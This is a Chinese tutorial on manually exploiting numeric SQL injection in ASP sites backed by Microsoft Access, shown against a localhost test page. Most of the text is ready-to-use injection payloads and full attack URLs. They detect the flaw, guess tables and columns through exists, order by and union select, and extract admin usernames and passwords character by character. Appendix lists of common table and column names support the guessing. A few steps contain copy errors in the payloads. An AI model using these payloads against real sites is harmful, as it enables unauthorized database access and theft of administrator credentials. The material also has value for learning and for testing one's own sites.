SQL注入系列之ASP+ACCESS手动注入(一)----数字型
一、access数据库
1.简介
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
2.access数据库结构
access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。
3.access如何查看
可以安装office套件进行查看、或者可以通过别的工具、如DbView、Easy Access等。
4.测试所使用的的表
使用DbView打开Database目录下的#Data.mdb文件
点击admin表进行查看
二、测试SQL注入
access注入基本流程:
1.判断有无注入
2.猜解表名
3.猜解字段
4.猜解管理员ID值
5.猜解用户名和密码长度
6.猜解用户名和密码
常见的查询方式:
(1)、联合查询法(速度快,兼容性不好)
and 1=1 and 1=2 ——判断注入
order by 22 ——猜有多少列(22正确,23错误,则为22个)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名(报错说明表名不存在,将admin换成别的继续猜)
union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列明继续猜)(列名猜对后及出账号密码)
(2)、逐字猜解法(速度慢,兼容性好)啊D明小子就是采用这种方法
and 1=1 and 1=2 ——判断注入
and exists (select * from admin) ——猜表名
and exists (select user_name from admin) ——猜列名
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位
(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)
1.判断有无注入
总结起来有以下四种判断方法:
粗略型:提交单引号'
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):' and '1'='1/' and '1'='2
逻辑型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。
通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。
1.1 “加引号”法
方法一
在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513'
然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:
Microsoft OLE DB Provider for ODBC Drivers '80040e14'
[Microsoft][ODBC Microsoft Access 驱动程序] 字符串的语法错误 在查询表达式 'id=1513'' 中。
\wwwroot\sql\Production\PRODUCT_DETAIL.asp, line 5
如图所示,页面中如果返回了类似的错误信息,说明该网站可能存在SQL注入攻击的漏洞。
方法二
有很多的网站都过滤了单引号,我们就可以在id变量后面输入"-1",比如: http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513-1,就会返回一个不同的正常界面,因为就相当输入了http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1512
1.2 “1=1和1=2”法
“加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”法进行检测。
如果正常页面链接地址为:http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。
Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1。
Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2。
如果存在注入点的话,浏览器将会分别显示为:
Ø 正常显示,内容与正常页面显示的结果基本相同。
Ø 提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next
原理就是:看他有没有在数据库中执行过,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据他的结果来判断有没有sql注入。
2.猜解表名
在地址后面加上:
方法一
and 0<>(select count(*) from 表名)
(<>:不等于), count是统计的函数,统计表中的所有字段。如果admin不存在,那么(select count(*) from admin)为假,即0.则0<>0(0不等于0),为假,所以导致返回结果出错。若存在admin,则0<>1成立,结果为真。
方法二
and exists (select * from 表名)
exists:指定一个子查询,检测行的存在。返回的结果类型为布尔型。
and exists (select * from admin):用exists判断select * from admin的结果是否为真。
select * from admin:查询admin表里面的全部数据。
注:exists不能猜内容,猜admin表的内容:and (select * from admin)
来判断此数据库是否存在admin表,若存在,就返回正常,反之错误。
列:
PS:
1、猜到表名猜不到列名:采用access偏移注入
2、猜不到表名或列名:(1)社工(如:www.xxxxx.com/ck_news.asp?id=xxx,那么就可以猜ck_username)
(2)用各种工具试一下(因为每个工具字典不同)
(3)看后台源代码(看表单的name,可能列明表名就是相应的name)
3、参考下面附录b中的常用的一些表名与列名
3.猜解字段
方法一
在注入点后面加 and exists (select id from admin),若页面返回正常,就说明admin 表里存在id这个字段。然后输入 and exists (select username from admin)和and exists (select password from admin),均返回正常的话,就说明存在username和password字段。
列:
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin)
4.猜解管理员ID值
方法一
在注入点后面加 and exists (select id from admin where id=1),若返回错误页面,就说 明不存在id=1的帐号,然后继续猜id=2。直到返回正常的页面
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where id=39)
5.猜解用户名和密码长度
方法一
若前面已猜出存在id=39的帐号,则继续输入 and exists (select id from admin where len (admin) <6 and id=39),页面返回正常,就说明username字段长度小于6
然后继续and exists (select id from admin where len (admin) <5 and id=39),若返回错误,
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) <5 and id=39)
就尝试and exists (select id from admin where len (admin) =5 and id=39),返回正常,就说明username字段长度为5位。
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) =5 and id=39)
猜password字段方法类似:and exists (select id form admin where len(password)<5 and id =39).
方法二
and(Select top 1 len(列名) from 表名)>N
(TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N)
如:
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
则表示admin表中name字段的第一条记录的长度是6。
6.猜解用户名和密码
猜解每一位数据ascii码语句:
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
asc函数的功能是将字符转换成ascii码。
mid函数的功能是截取 admin字段值的字串。从第一位开始,截取的长度为1.这句话的意思是猜测第一个字的ascii码是否大于0,若返回正常就继续猜,
附上一张ascii码表:
列:
and (select top 1 asc(mid(admin,1,1))from admin)>101 不显示
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>101
继续and (select top 1 asc(mid(admin,1,1))from admin)<100,返回正常,就说明在0-100之间,然后继续缩小范围
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100
and (select top 1 asc(mid(admin,1,1))from admin)<97 返回错误,
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<97
然后and (select top 1 asc(mid(admin,1,1)) from admin)=97,返回正常,说明第一位的ascii码的值为97,即a。
http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97
然后猜第二位and (select top 1 asc(mid(admin,1,1))from admin)>50
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>50
继续 and (select top 1 asc(mid(admin,1,1))from admin)<100 时不显示
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100
继续 and (select top 1 asc(mid(admin,2,1))from admin)=100 时显示
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1))from admin)=100
对照ascii码为结果d,然后再继续猜后面几位、密码为:admin
注意:
因为MD5的密文长度通常有16位、18位、32位、40位等几种,所以猜解密码的时候试一试15、16、17、18、31、32、39、40等长度可以加快猜解进度。
附录A
另外一种access注入方式:
1.猜字段:猜字段就是看他一张表里有多少个列,语句为order by +数字 如果猜对了页面正常显示(只要猜的数量少于实际数就会正常,猜的数量大于实际数就会报错),如果没猜对就会出错。
列:
方法一
order by(排序) 22
页面显示正常:
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
少于实际数也正常:
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 20
如果大于实际的数据的话就会报错:
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
方法二
使用union语句下面会有介绍
在地址后面加入 union select 22个unll、没报错说明表的字段为22
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
如果少一个或多一个null就会报错
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
2.猜表名:猜表名是根据字段的多少来进行的,语句为union select 1,2.... from一个表名
SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集、基本语法如下:
- select column-1 column-2 from table-1 UNION select column-1 column-2 from table-2
如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:
Ø 两个查询返回的列数必须相同
Ø 两个查询语句对于列返回的数据类型必须相同
请注意:UNION 内部的 SELECT 语句必须拥有相同数量的列、列也必须拥有相似的数据类型、同时、每条 SELECT 语句中的列的顺序必须相同、默认地、UNION 操作符选取不同的值、即UNION是去了重复的、如果允许重复的值、请使用 UNION ALL。
得到上面的表字段数之和就可以猜表名了
列:
如果输入一个不存在的表名就会报错
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user
如果输入一个存在的就不会报错
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin
通过null查出来的表、不会显示、两个uion之后、前一条语句是否有第二条语句共同的字段、通过数字的形式可以查询共同的字段如
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
得到两个数字3,15说明admin表中有两个和前面语句列表相同的字段。
3.猜列名与内容:
把上面得到的那两个数字中替换成表中的用户名与密码字段名
列
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
输入一个存在的列名就不会报错
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
然后去猜密码列名把15那个位置替换成密码列名
- http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
附录B
常用的表名与列名
常用表名:
admin
a_admin
x_admin
m_admin
adminuser
admin_user
areicle_admin
adminisrearor
manage
manager
member
memberlist
user
users
Manage_User
user_info
admin_userinfo
UserGroups
user_list
login
用户
Friend
zl
movie
news
password
clubconfig
config
company
book
art
dv_admin
userinfo
常用列名:
username
adminusername
admin_username
adminname
admin_name
admin
adminuser
admin_user
usrname
usr_name
user_admin
password
admin_password
administrator
administrarors
adminpassword
adminpwd
admin_pwd
adminpass
admin_pass
usrpass
usr_pass
user
name
pass
userpass
user_pass
userpassword
user_password
pwd
userpwd
user_pwd
useradmin
pword
p_word
pass-wd
yonghu
用户
用户名
密码
帐号
id
uid
userid
user_id
adminid
admin_id
login_name